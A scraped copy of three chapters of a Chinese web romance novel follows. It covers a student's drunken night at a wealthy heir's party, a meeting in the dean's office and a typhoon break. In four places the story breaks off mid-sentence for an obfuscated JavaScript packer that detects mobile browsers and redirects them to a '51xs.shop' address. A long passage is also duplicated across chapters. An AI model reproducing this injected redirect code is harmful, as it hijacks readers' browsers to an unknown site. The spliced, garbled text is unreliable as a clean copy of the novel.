陈易在盥洗台前看着镜子里的自己,明亮清晰的倒影映出她几分的狼狈,面颊酡红像是散发着微微热气,不过才喝了两杯酒就觉得有点难受,酒精的作用让她此刻情绪更加浓烈。 “还没回去呢,你们先睡吧不用担心。” 陈易说完后就有些沉默,方才一瞬间把那些话都对张志漫说了,她竟然觉得心里有一丝丝的痛快。这四个多月的恋情终于结束了?或者准确来说不是恋情,而是一段错误的关系。 “张志漫这么晚叫你出去,可真不是个人,你自己要小心一点啊,”孙美黎仍然放心不下陈易,总是在新闻里看见前男友分手各种纠缠,“你发个位置给我,我手机不关机,你有事第一时间给我打电话。” 陈易知道好友很担心自己,安慰道:“好啦,刘露珈和朋友刚好也在这边,张志漫他也不敢怎么样的。” 孙美黎忽然想起点什么,眼看还有几分钟就封寝了,估计陈易是赶不回来了:“她是不是一会儿也要回学校啊?要不然你和她一起,她肯定能让导员和生管老师讲下放你们进来。” “知道啦。不用担心我,你们先睡觉吧,明天还有早读呢。” 孙美黎见陈易没给明确答复,好心补充道:“要是不回来的话,学校旁边有个众华旅馆挺便宜的。” “嗯……”陈易其实没有选择,因为她今晚出来的比较急,没有随身带身份证:“我等下和刘露珈一起回,你们先睡吧。” 陈易刚从洗手间出来,刘露珈迷迷糊糊地又进去了,陈易在门口听见刘露珈咳嗽呕吐的声音,好心地给她递了几张纸。 “陈易,我刚没看见你还以为你走了,”刘露珈刚才喝了几杯红酒,人倒在沙发上昏睡了一会儿又被吵醒,这会儿胃里翻江倒海,蹲在马桶旁边呕了一阵子,到盥洗台用冷水泼了泼脸,接了点水漱口:“等下要不要一起走?你不急的话等我一会儿。” “行。”陈易拿了几张纸巾给刘露珈,此时刘露珈和平时温婉可人的形象完全不同,勾着陈易的肩膀出了洗手间,非要拉着她去小吧台看看。 “我要一杯血腥玛丽,你要什么?”刘露珈歪着脑袋看陈易。 刘露珈发现陈易穿着很长的大衣,十一月的夜晚虽然很冷,但这包房内温度适宜再加上酒精的渲染,刘露珈觉得穿着超短裙都不够凉快,更何况陈易穿着长裙配上大衣,简直把自己包裹得严严实实的。 “我先不喝了,缓一缓。” “你不热吗,把自己裹得这么严实,”刘露珈凑近她,看着陈易垂眸睫毛扑闪的样子,随口调侃道:“这里又不吃人,你怕什么?” 室内确实有点热,陈易拢了下披肩的长发,从衣兜里拿了发圈将头发挽起。刘露珈端着酒杯笑看着陈易,身为外国语学院的系花竟然穿得如此朴素低调,像刚才那样长发刘海遮住了半张脸,若不是仔细瞧谁又能发现她陈易? 这会儿有人用包房内的K歌设备点歌,刘露珈让陈易也去唱一个,她摇头拒绝。 “他们那些好友都是互相认识互相捧场的,我去唱歌算什么?”人多虽然热闹,但那些人一眼便知和自己不是同一个圈子的,如果不是今天凑巧,陈易绝不可能来这种地方。 “你不想唱就算了,当我没说。”刘露珈转过身独自坐在吧台喝着酒,眼睛却在麻将桌的那几人身上不停转悠。 麻将桌的四人个顶个的C市主角,她和男友小霖是在C大答谢之夜认识的,虽然听他提起过肖玄疏,但是像这样带她出来见朋友还是第一次。这四人随便哪个都是有家族企业的,小霖靠着近两年家突然发达前跻入圈子,不过因为是私生子缘故,这圈子最开始不太待见他。 其中今天组局的肖玄疏和另外三人又划到不同阶层,传闻肖氏娱乐影业和地产在业内稳居前三,外公那边虽然是红色背景但非常低调。可他身上并没有多数富家子弟漠然恶劣的性子,一双时刻含笑的桃花眼像是下了深情蛊,清贵冷静让人捉摸不透。 “小霖和肖哥都来参加过‘答谢之夜’,你还有印象没?”刘露珈突然问她。 陈易顺着她的目光看过去,这角度看不清每个人的脸,但与陈易正对面的恰好是肖玄疏,深咖色的西装衬得他整个人气质更加温和随性,领口的铂金十字链条在灯光下闪烁着银冷的光,许是摸到了一张好牌,修长手指捏着精巧的麻将牌笑着和人调侃。 “没印象了。”陈易收回视线,淡淡道。 刘露珈露出可惜的神色,几不可闻的叹息一声,说道:“当时我还以为你和肖哥早就认识,看来是我想多了。” 当时陈易的确见过肖玄疏一面,对他的标签无非是“好心人”“开豪车”,从未往过其他方面想。后来见面的机会也纯属偶遇,两个人没有什么过多接触,本就不是一路人,今天才知道他竟和傲慢无礼的林想是朋友,陈易觉得心里一阵恶寒。 隔了有一阵子打麻将的几个人约是厌倦了,叫大家一起来玩游戏,这回是李世张罗的,大家都很给面子参与进来,围坐在沙发一圈,张志漫借口自己喝多了便一头躲进洗手间。 李世叫人上了十瓶唐培里侬,拿了一只高脚杯放在中间。 “每个人轮流往杯子里倒酒,最多不可超过三分之一的容量,谁最后倒得酒溢出来,谁就喝了这杯。”李世定了游戏规则,里面几个陪酒小妹早就迫不及待,一开始就倒足三分之一的量,完全不给后面的人留活路。 果不其然,酒杯到了刘露珈手里刚好溢出来。 “我只倒了一滴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115455|148185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的量啊,没天理呀!”刘露珈惊呼一声躲在男友的怀里,“她们太坏了!” 男友小霖也是遵守自己刚才的话,拿起酒杯将香槟一饮而尽,喝酒速度丝毫不减,仿佛他的酒量是个无底洞。 这动作引来大家拍手叫好,这回轮到陈易第一个倒酒,她小心翼翼倒了一点,随即传给下一个人。陈易旁边是一个陪酒小妹,摩拳擦掌地倒了三分之一的量,似乎还觉得不过瘾。 “林哥,到您了。” 眼见还有三分之二的容量,林想也毫不客气倒了三分之一的量,左边李世倒了最后三分之一,坏笑地把酒杯平稳推到另一个陪酒小妹面前。 陪酒小妹最懂人情世故,这些富家子们就喜欢看别人喝多出糗,哪个会愿意轮到自己喝的?她明明可以只倒一点推给肖玄疏,却还是假装在众目睽睽之下失手将酒溢出,然后惊讶地捂着嘴一副不可置信的样子。 游戏开始了几轮,除了李世、刘露珈和肖玄疏还没喝过酒,其他人都至少轮到了不只一次。刚才还酒量过人的小霖现在也进卫生间吐了,张志漫在沙发后面观察着陈易,等这一局结局中场休息,张志漫抓住机会上前跟陈易搭话。 “小易,我们走吧,不要玩了。”张志漫好心劝陈易,他刚才注意到坐在主位那人有点眼熟,不知道对方有没有注意到自己,张志漫不想节外生枝。 陈易靠在沙发上假装没听到他的话,手里捏着自己的酒杯垂眸看着。 “这里价格很贵的,等下要我们付钱怎么办?”他刚才偷偷拍了一张酒瓶的照片,进洗手间查了一下要几千块一支的香槟王,要是每个人AA都要一千多。 旁边陪酒小妹从洗手间出来,听闻张志漫的话抬眼打量他片刻:“这里肖公子包场自然不会用你们AA,你是第一次来吧?难道来之前不知道吗?” 张志漫心里松了一口气,嘴上依旧说道:“我们宿舍已经封寝了,要早点回去了。” “宿舍封寝?你们是哪个大学的?”陪酒小妹有点不相信,不过面前这男的一副书呆子的样子,确实有几分研究生气质。 “C大的。” 陪酒小妹“哦”了一声,顿了顿:“C大确实是不错的学校。” 张志漫觉得自己有被夸到,一时间来了兴致:“对啊,毕业之后也是年薪百万起步的,至少是个正经工作。”这话也不知是在讽刺谁,陪酒小妹冷哼一声转身离开。 张志漫不知好歹又拉了下陈易的手臂,陈易一不注意手中酒杯的酒液撒了一身,她慌忙中站起身,大衣中腰到下摆的位置打湿一片,她迫不得已脱下大衣用纸巾擦弄。 “对不起我不是故意的。”张志漫也过来帮她擦,陈易有些生气,不理解张志漫到底在纠缠什么。 “你要走就走,没人拦你。”陈易冷冷甩下一句话,拿着大衣去盥洗台简单清洁。 待她简单清洁大衣放在椅子上晾干,酒局游戏早已继续。她看了一眼自己原本的位置被不认识的女生坐了,人家刚才中场休息就摸清了陈易的身份,发现是个情况普通的人就大胆占位了,唯一留个空位是肖玄疏左边的位置。 好家伙,每次溢酒都卡在肖玄疏左右两个位置,为了不喝酒故意把这位置换给她了? 21. 旷课 《骤雨时分》文/薄荷小企鹅 2024/11/05晋江文学城首发 - 陈易故作从容在肖玄疏旁边落座,大家并没有八卦吃瓜的表情,而是长舒一口气,仿佛那位置就是烫手的山芋,没人敢坐在那里生怕惹了什么事。 “好久不见。”男人微微侧头和她打招呼,眼神在她落座片刻掠过。陈易出于礼貌轻声回应他,但心里根本掩饰不住对他的恶寒。 余光扫过她清冷温婉的侧脸,尽管陈易挽起头发但被发丝仍旧遮住一些,那双好看的杏眸垂着试图掩饰自己复杂的情绪。 身边的男人气势太过强大,陈易坐在那里如履薄冰丝毫不敢乱动,生怕一不小心就碰到身边的人。她根本没办法集中注意力,而且有人似乎故意给她下套,以至于在接下来的游戏中连续喝了两轮。 陈易自知酒量不好,连着两杯下肚就觉得胃里愈发火热:“不好意思,我去一下洗手间。”刚一站起来眼前一阵晕眩险些跌在地上,身旁的人伸手虚扶她一把,她脚下才勉强站稳。 她走进洗手间用冷水不停地泼在自己脸上,冰冷的触感让她短暂清醒片刻,她双手撑在盥洗台上大口大口喘息着,酒精一旦上头就让人觉得有一种奇异的感觉,身体里的燥热让每一个细胞都叫嚣着。 …… 林想提出换个游戏规则,倒计时三秒钟每个人出石头剪刀布,在最短的时间内相同手势的人要把手握在一起,反应慢的人要被罚喝酒。 “人越多越难玩,同时好多人要被罚了。”林想让服务生给每个人重新换了酒杯,每个人面前一杯红酒,每次被罚要喝完一整杯。 “林哥,你生怕一会儿我们竖着出去是不?”有人打趣林想,却没人反对这规则。 林想笑而不语在旁边点了根烟,这种酒局是为了衬托谁?除了主位的人谁还都要横着倒在这里。 “三、二、一!” 游戏一开始大部分人没反应过来,陈易同样没摸清游戏规则就被迫喝了一杯,她一向喝不惯红酒的味,酸涩的味道干涩的口感,一口咽下去仿佛喉管都要燃烧起来。 “倒计时的时候慢一点啦,不然反应不过来。”刘露珈提议。 说实话现在大部分人脑子里都迷迷糊糊的,越到这种时候越能体现酒量,慢慢地是为了想赢却喝了一杯又一杯,身体摩擦的手心温热的温度让人渐渐忘却了自己身处何方。 “你抓错了。”磁性悦耳的嗓音像是深夜的慰藉,男人伸出的手仍然未动,搭在男人手上的其他人陆续收回手,陈易才发现自己出的是剪刀,一着急把手伸到了出布的阵容里。 她惊慌地换到其他阵容,在众人起哄下反应过来失误也要喝一杯。 “不好意思。”不知道今晚这句话她重复了多少遍,她匆忙举杯一饮而尽,就像喝白开水一样轻松,根本不像是不会喝酒的人。 刘露珈瞪大了眼睛:“小易你酒量这么好?!” 酒量好?陈易早就喝醉了,但是她的意识在提醒她,不能输、不能认输。 她努力保持着清醒继续着这场没人喊停的游戏,从一开始不敢直接和别人手触碰,到一秒抓住别人的手拉到自己阵容,酒精放大的不仅是欲望,还有胆量。 “哇今晚谁是MVP?” “就是肖哥旁边那位呗,什么来头啊?” “能什么来头,第一次来的啦……” 她游戏中似乎有人在议论自己,她忽然收回手直勾勾地看着对面的人:“你是说,输的最多是MVP?” 对面议论她的女生面面相觑,其中一位小声说:“不能喝就不要逞强啦,等下出丑就不好看了。” 陈易点头:“我不喝了。” 对方没想到她竟会如此“坦诚”,突然中止的游戏让大家都心里不爽,对方举起酒杯示意:“没有其他的意思,酒局里的话不要那么较真,我给你赔个不是。” 陈易不吭声,游戏继续,这局轮到肖玄疏喝酒,众目睽睽之下陈易听见有人在说话。 “这位小姐,可以把酒杯还给我吗?” 声音忽近忽远,她揉了揉太阳穴感觉头很晕,她觉得是自己幻听了。 直到自己面前的高脚杯被一只手拿走,她下意识地去抓住那只手:“这是我的。” 身旁的男人轻哂一下,修长的手似乎松了几分力道:“你的?” 陈易迷迷糊糊地点头,等到吃瓜的众人发出接连的笑声,她才意识到自己面前竟然有两个酒杯。 难道她刚才一直都是拿他的酒杯在喝酒?不对,那他用的是谁的酒杯?回想起从游戏开始男人只喝过一次,然后陈易就像是下了套一样连续喝了好几次…… 她心虚地收回手,回想刚才慌乱中竟然误用了别人的酒杯,“不好意思。” “没关系。”男人拿回酒杯,一旁的陪酒小妹凑过来为肖玄疏倒酒。 男人看着高脚杯上的口红印,沉吟片刻,唤她的名字。 “陈易。” 她不明所以地转过头看他,灯光下他的身影像是被光影虚化,她的眼睛湿漉漉地犹如天真纯粹的小鹿,绯红的脸颊印证着她已经喝醉的事实。 “我们见过几次?” 嗯?她揉着眼睛试图看清面前的男人,这股气息陌生而熟悉,深秋的清冷中裹挟着相思木的温柔缠绵,她伸出手去挡住刺眼的灯光,却被他猛地抓住手。 “还记得我说过什么?” 陈易不躲不闪,笑吟吟地说:“你也不是好人。”她提起长裙的裙摆像是灵活的蛇一样从两个沙发间的缝隙钻出,她拉开包房大门脚下生风冲下走廊尽头的月台。 不知何时外面淅淅沥沥下起了下雨,深紫色的天空看不到半点星子,一瞬间的骤风将雨水吹进了月台里,陈易伸手去接外面的雨水,冰凉的雨点打在她的手臂上,她不觉得冷反而消散了刚才的燥热。 …… 陈易不知道自己是怎么回到宿舍的,当她醒来的时候已经是上午十点多,舍友三人刚好拎着网球拍从体育课回来。 “小易你醒了,”孙美黎放下网球拍,踩在床旁边的楼梯上,“今天早读本来想叫你去的,你一直说头痛我就帮你请了个假。” “是啊,你下半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129161|148185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜回来的时候裙子都湿透了,要不是刘露珈说你喝多了跑去淋雨,我们还寻思你出了什么事儿。” 陈易对于昨天晚上的事情没有一点印象,摸了摸身上的裙子完好无损,她支起半个身子,问道:“昨天是刘露珈送我回来的?” 杨甜甜一脸笃定:“对啊,她今天早上也没去早读,估计人还在宿舍睡觉呢。” 陈易打开手机,微信里的消息像是爆炸了一样,可全都是学院群发消息或是家族群消息,并没有人给她私发一条消息。张志漫的微信不是拉黑状态,从昨晚七点多就没有再联络她一次。 陈易洗完澡出来,导员王老师给她打电话去办公室一趟。 “小易你要出门吗?我还让梨子帮你带了午饭。”杨甜甜坐在床上做听力练习,看见陈易坐在桌前梳妆换衣,于是从床上好奇地探出脑袋。 “我去教学楼一趟,午饭让美黎放我桌上就好了,我回来再吃。” 陈易匆忙出门,导员王老师并未在电话里说具体是什么事情,但她已经猜了个八九不离十了。一个是因为昨晚回寝太晚被生管老师点名了,另一个是今天上午早读和体育课无故缺席,尽管室友已经帮她编理由请假,但导员的消息那么灵通肯定发现了。 她三年绩点都是专业前三,除了上个月因为弟弟陈恩的事情请了一周事假,还没有一次“逃课”“旷课”过。明明是每学期都拿专业奖学金的“好学生”,这下直接旷课免不了一顿口头批评。 走在去二教的路上,内心忐忑的陈易已经做好了心理准备,可到了导员办公室,王老师和气地问了她几句,便让她把一份学生干部评优表送到院长办公室。 “陈易啊,上次答谢之夜的绩点给你加上了,在文艺部好好干,学院很看重你的。” 学院看重她?王老师是口误说错了,应该是刘露珈才对吧……陈易道谢后出了导员办公室,在二楼楼梯转角的第一间是院长办公室。院长办公室常年门窗紧闭,就连在走廊的窗户都有窗帘严丝合缝地遮挡住,因为在学院很少看见院长,学生们还曾讨论过院长一个月会出现几次的问题。 陈易敲了敲门,隔了几秒听见里面的人说“请进”,她拉开紧闭的木质大门,大步进去垂眸快速将手中的评优表放到了院长的桌上。 “你就是陈易同学吧?”院长摘下老花镜,打量起面前的人,“让王老师把你叫过来确是有点事,辛苦你稍等一下。” 陈易见过院长的次数两只手完全可以数得过来,但是这么近距离站在院长面前还是第一次。 院长是一个头发花白的老头儿,戴着一副圆圆的老花镜,看着严肃古板、一丝不苟,实则讲话幽默风趣,完全没有半点校领导的架子。 院长和陈易说话的时候,院长办公室的门“吱呀”一声开了,陈易下意识地回过身去看,坐在椅子上的院长已经先她一步起身迎接那人。 正午和煦的阳光从大门折射进来,院长办公室忽然明亮像是电影中光影闪烁的瞬间,刚好赶上最后一节课的下课时间,伴随着走廊里响亮的下课铃声,楼道里不出片刻就被大学生干饭大军的步伐淹没。 22. 记忆 《骤雨时分》文/薄荷小企鹅 2024/11/07晋江文学城首发 - 学院看重她?王老师是口误说错了,应该是刘露珈才对吧……陈易道谢后出了导员办公室,在二楼楼梯转角的第一间是院长办公室。院长办公室常年门窗紧闭,就连在走廊的窗户都有窗帘严丝合缝地遮挡住,因为在学院很少看见院长,学生们还曾讨论过院长一个月会出现几次的问题。 陈易敲了敲门,隔了几秒听见里面的人说“请进”,她拉开紧闭的木质大门,大步进去垂眸快速将手中的评优表放到了院长的桌上。 “你就是陈易同学吧?”院长摘下老花镜,打量起面前的人,“让王老师把你叫过来确实有点事,辛苦你稍等一下。” 陈易见过院长的次数两只手完全可以数得过来,但是这么近距离站在院长面前还是第一次。 院长是一个头发花白的老头儿,戴着一副圆圆的老花镜,看着严肃古板、一丝不苟,实则语速轻快完全没有半点校领导的架子。 院长和陈易说话的时候,院长办公室的门“吱呀”一声开了,陈易下意识地回过身去看,坐在椅子上的院长已经先她一步起身迎接。 正午和煦的阳光从大门折射进来,院长办公室忽然明亮的实木地板像电影中光影闪烁的瞬间,陈易被地板反射的光线刺得睁不开眼,刚好赶上最后一节课的下课时间,伴随着走廊里响亮的下课铃声,楼道里不出片刻就被大学生干饭大军的步伐淹没。 “冲啊!院长办公室居然开门了!” “快走快走!一会儿老头儿出来骂人!” “冲啊冲啊!” …… “肖总来了,请入座请入座,”院长腿脚麻利根本不像是个老头儿,反应速度简直比陈易还快,此时瞬间从严肃古板的院长变成点头哈腰的下属:“张书记指示我来安排运动会赞助事宜,感谢贵企业对C大的赞助。” 男人的视线跨过院长,落在呆站在一旁的陈易身上,而陈易丝毫没注意到那道灼人的视线,有些出神地看着复古沉重的办公室大门。 那双桃花眼微微眯起,审视般落在她的身上,她穿着得体的白T恤和修身牛仔裤,柔顺的头发扎成一个高高的马尾辫,充满了清纯甜美的气息。 “啊,这是文艺副部长陈易同学。”院长注意到男人的视线,差点忘了今天叫陈易来的目的。 陈易听到院长叫自己的名字,她回过神来,院长招手示意她坐到沙发这边,从茶几下的盒子里拿出招待贵客的乌蜜兰香,招呼她帮忙沏茶。 “陈易同学。”对面的男人忽然倾身过来,陈易被他的举动吓了一跳,滚烫的茶水从精巧的茶杯中溢出,她慌乱地用茶几上的毛巾去擦拭。 “别紧张,今天露珈生病了,你有任务在身不能临阵乱了阵脚。”院长说得虽然是人话,但陈易却没听懂半个字,刘露珈生病了?她有任务在身?她怎么不知道自己有什么任务? 陈易垂眸想着这到底是怎么一回事,听见对方又叫了一遍自己的名字。 “看来陈易同学今天状态不好,不如叫文艺部长来和我对接?” 院长脸上的笑容有些僵硬,刘露珈一早就请了病假,再者刘露珈是校长的外孙女,这种情况怎么能叫刘露珈带病出席? “对不起,肖总,”陈易重新沏了茶平稳推到肖玄疏的面前,眼眸从始至终都没有正视过他一次,垂眸温顺的样子像是一头小羊:“我如果有什么得罪您的地方,还请您海涵。” 院长借坡下驴:“陈易同学平时热衷于学习,学院商务赞助的事情还是第一次难免不太熟练,您百忙之中亲临说明您也很重视这次的合作,如有不妥后续我让刘露珈同学一起配合您,还望您给陈易同学一个展示自己的机会。” 肖玄疏颔首,未明确表示自己的态度,只是倏地转移话题,气势不怒自威。 “肖氏集团在年前捐赠修缮图书馆,上个月的月初若不是偶然路过得知还未动工,怕是有心人要传肖氏集团捐赠太过寒酸,导致图书馆的修缮措施迟迟不能开工。” 院长的表情是肉眼可见地汗流浃背:“这个、这个我请示一下张书记,如有消息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14130235|148185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一时间给您答复。” 陈易像是一只缩头乌龟,畏手畏脚地给二人轮流添茶,听着云里雾里的赞助事宜问责,在熬到肚子发出咕咕叫的声音之前,交谈总算是结束了。 院长从衣兜里掏出手帕擦了擦汗,起身让陈易送肖玄疏下楼,待两人离开了办公室,院长一下子跌坐在沙发里,拿出手机给张书记打电话。 一辆低调的黑色迈巴赫停在二教的正门口,若只是迈巴赫还不足以让路过奔向食堂的学生驻足拍照停留,那车牌是一连串的豹子号彰显身份尊贵,无论谁看了都会有些惊讶。 走在前面的男人上车前侧身停下,正午的阳光映在他的身上像是镀了一层金,男人挑眉看向陈易,那双桃花眼似乎穿透她的皮肉直视她的骨骼她的灵魂。 而陈易从始至终都未抬眼看过他一次,不安与焦急早就挂在了她的脸上。 肖玄疏上车后,吩咐司机将一个牛皮纸袋递给陈易。 “陈易同学,肖先生说希望接下来合作顺利,这点薄礼请收下。”牛皮纸袋是开口的,只一眼就让人看清里面的物品。 陈易慌了神,手比脑子先一步夺过那牛皮纸袋,卡其色的面料让她再熟悉不过,她不死心地从牛皮纸袋里拽出那件衣服,卡其色的爆款女版修身大衣从手中滑落,她抬头去看向车里的人,深黑色的车窗上只倒映出她慌张的神色。 这不是她昨天忘在包房的那件大衣吗? 昨晚的记忆犹如淅淅沥沥的小雨在脑海里重现,她明明可以宿醉之后装作失忆,从张志漫约她出来、刘露珈叫她去唱歌、和不认识的人围在一起进行酒局游戏把自己灌醉。 她记得昨晚冰冷的雨水打在脸上的彻骨寒冷,不知是在庆幸和张志漫纠缠后的分手,还是在不满他竟然是和林想这种漠视金钱玩.弄他人的人是朋友。 越来越多的记忆碎片涌了出来,从她对他说过极其无礼的话,到她被刘露珈拉上车送回学校,陈易似乎明白了自己今天为什么会被点名出现在院长办公室。 所有人都可以被蒙在鼓里,而陈易此刻最清楚不过。 23. 偷拍 《骤雨时分》文/薄荷小企鹅 2024/11/19晋江文学城首发 - 两个人哪里有拒绝的余地,陈易换了身得体的衣服,乔曼和李特助已经开启视频会议,陈易把房间简单收拾一下,加入了视频会议。 “两位同学晚上好,针对本次方案我做个简要说明,”李特助的表达简单明了,“一共分为五点,预计十分钟的时间。” 李特助的语速较快,语音助手同时整理成文字发送到屏幕上,乔曼针对方案提了几个问题,而陈易对自己的任务没有什么疑问。 “辛苦两位同学在修改的时候注意一下格式问题,如果后续有什么问题我们再沟通。” “等一下,”陈易看方案的时候发现一个时间错误,“这个赞助投放的时间是运动会的第一天,还是运动会的前一天?” 李特助顿了下:“自然是运动会的首日。” “这个时间写错了,是11月的29号吧,这上面写的28号。”陈易把页码发到群聊天窗口。 李特助看了下:“确实写错了,我审核有误,等下我将修改后的重新发到群里。” 李特助关了群视频会议,肖玄疏发消息让他来办公室一下。 落地窗将夕阳的余辉映照进来,纷纷扬扬洒满整个办公室。这里是C市最好观景的地点之一,当夜幕降临的时候,江面被月光倾洒波光粼粼的一片,在这里可以俯瞰整个C市的夜景。 桌上堆叠着十多份未审阅的文件,肖玄疏手中的笔顿了顿,停下手里动作,问李特助:“C大外国语学院的赞助方案什么时候能做好?” “大部分内容都已经做好了,具体细节和需要修改的问题,刚和对接的两位同学群视频会议讲过了,大约今晚会出终稿。” 肖玄疏仍没抬头:“等下把群会议的回放发给我一份。” 李特助的话语一噎,“好。”老板这是要亲自审核?昨天开始公司的事务突然繁忙起来,老板连今晚的饭局都推了。 几分钟后,肖玄疏在李特助发来的群会议回放中找到了一个眼熟的东西——那个抱枕。 那个抱枕安静地躺在陈易的床头柜上,大约是窗帘没关上的缘故,抱枕的颜色比晚上看起来颜色光泽鲜亮。视频中的陈易素面朝天,比平时的清冷气质多了几分甜美,穿着水蓝色的圆领修身上衣像是邻家妹妹的清纯感。 果然分手后她的状态都变好了。 肖玄疏偶尔还是会想起在公园晚上看见她的那一天,她被前男友扔在公园不管不顾,她哭得梨花带雨像是一只懵懂的小鹿让人心疼。后来渐渐发现她的拘谨高冷似乎只对陌生人,每次见到她都会发现她和从前不同的一面,就像是一个潘多拉魔盒,需要时间去探索去开启。 - 在周日返校之前,陈易收拾好行李准备出门,兜里的手机一振,学院群又发来了@全体成员的消息。 【王鸿:接到教育局通知,因受台风天气影响,11月15号至11月17号暂停线下授课,暂用网络授课。如非特殊情况建议不要出门,在外行走注意高空坠物。】 学院群里学生们的“收到”回复速度要比平时快得多,周末有部分学生回家,这个时间估计很多人都在家里没出门。 还好陈易走门前看了消息,不然等坐上了高铁才看到群消息那就太心痛了。 孙美黎和杨甜甜也回家了,四人宿舍就剩个李眉因为周末和男友约会没回家,这下连放三天的“假期”直接变成寝室独居了。 【王鸿:每天中午11点、下午5点半,食堂会安排工作人员送餐至寝室楼下,如有需要盒饭及生活物资请在总群表格报备。】 陈易在家自然是不用订餐,李眉在四人寝室群吐槽盒饭太贵,陈易才好奇地打开共享表格看了一下价格。 两荤两素盒饭17元,三荤一素盒饭19元,矿泉水25一箱,面包…… 从第五行开始各学校留校人员统计报备,不知是不是巧合,陈易一眼看到了张志漫输入名字学号后正在编辑中。 陈易轻快的心情不知为何突然寡淡下来,有人说前男友就是屎一样的存在,分手后再看一眼都觉得恶心。他们分手不算理论上的和平,而且那天张志漫还被林想打了,她也没去问他的伤好了没。 算了,她想这么多做什么,已经分开了就是最好的结局,就把他当做空气吧。 三天后台风过境,不知是因为台风带来的大雨还是到了秋雨的时候,天气越来越冷,且一到晚上就淅淅沥沥下着雨。陈易拖着行李箱到校门口下了出租车,外面下起了淅淅沥沥的下雨,她的雨伞放在行李箱里不太方便拿,索性决定在美食街躲躲雨,顺便买点吃的东西带回宿舍。 “陈同学,晚上好,”李特助按了两下车的喇叭,把走在前面的陈易吓了一跳,“你是要进学校吗?” 李特助这次是坐在驾驶员的位置,车窗半开的状态,陈易跟李特助打招呼的时候,余光瞥见副驾的位子上又放了几个和上次相同的牛皮纸袋子。 她笑了一下:“对,这几天台风上网课,我刚从家里回来。” 李特助打量了下陈易,因为刚下一场雨,陈易这条连衣长裙的裙摆上沾了点泥水,而且没有穿任何外搭,看起来弱不禁风似的。 “老板让我来给王老师送合同,刚好我也要进校,送你一程?”外来车辆是不允许进入校门的,但这辆豹子号的迈巴赫就连门卫都眼熟了,不需要王老师打电话也能顺利进去。 陈易提着大包小包的确实在雨天不好走路,转念一想对方去找王老师,她还是不要耽误人家的时间了。 “谢谢,您的好意心领了,不过我要去美食街买点东西,您先进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14254082|148185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校吧,”她婉拒了李特助的好意,忽然想起点什么,“对了,请替我跟您老板说声谢谢,上次名片的电话没打通,关机了。” 陈易没勇气再给人家打电话,只不过她想不通为什么给了名片就关机了,难道是她打电话的时机不对吗? 李特助很显然愣了下,看向陈易的目光深了几分:“好的,我会帮您转达给老板。” 在说这句话的时候陈易注意到对方用的是“您”,虽然她觉得对方无论年龄还是地位上都不值得用“您”来称呼,并未多想,只当李特助是和人礼貌客套习惯了。 陈易和李特助笑着挥手告别,那辆豹子号的迈巴赫缓缓驶入校园。 而且一切刚好被远远望着的张志漫尽揽眼底,他从美食街买东西出来,手里拿着一把长柄雨伞。刚才陈易从出租车下来一个人在路边站着,他以为陈易没带伞打算好心地将自己的伞借给她,没想到看到这样一幕。 他的情绪有些难绷,嘴里牙齿暗暗咬了一遍又一遍。 分手不到一周,她就和别人搞在一起了?张志漫不相信对方只是问路而不认识她,如果不认识的话怎么会聊那么久? 他不打算将雨伞借给陈易,往烤冷面的小店里一躲,等着看陈易被雨浇成落汤鸡的笑话。 陈易在街边的咖喱店里打包了一份咖喱鸡排双拼饭,顺便把行李箱的雨伞拿出来。从店里的时候,淅淅沥沥的小雨变成了毛毛雨,她打开雨伞拖着行李往校门口走。 “带伞了刚才故意不打伞?”张志漫没忍住心里的疑惑,出声叫了出来。 烤冷面小摊的老板问他在这里站这么久,要不要买一份烤冷面?张志漫脸色有些黑,硬着头皮买了一份烤冷面。 有些事情总是让人出乎意料,在第二天晚上张志漫去校外网吧传输了几个大文件后,头昏脑涨地出来再次看见了那辆打着豹子号迈巴赫。 迈巴赫在C市不少见,可这样的车牌号让人念念不忘。上次他回去找计算机系的好友查了一下,这个车牌号之前挂在一辆劳斯莱斯幻影上,今年年初才换到这辆迈巴赫上。而且他还查到了这个车牌归属一家集团所有,应该算是公司的公车。 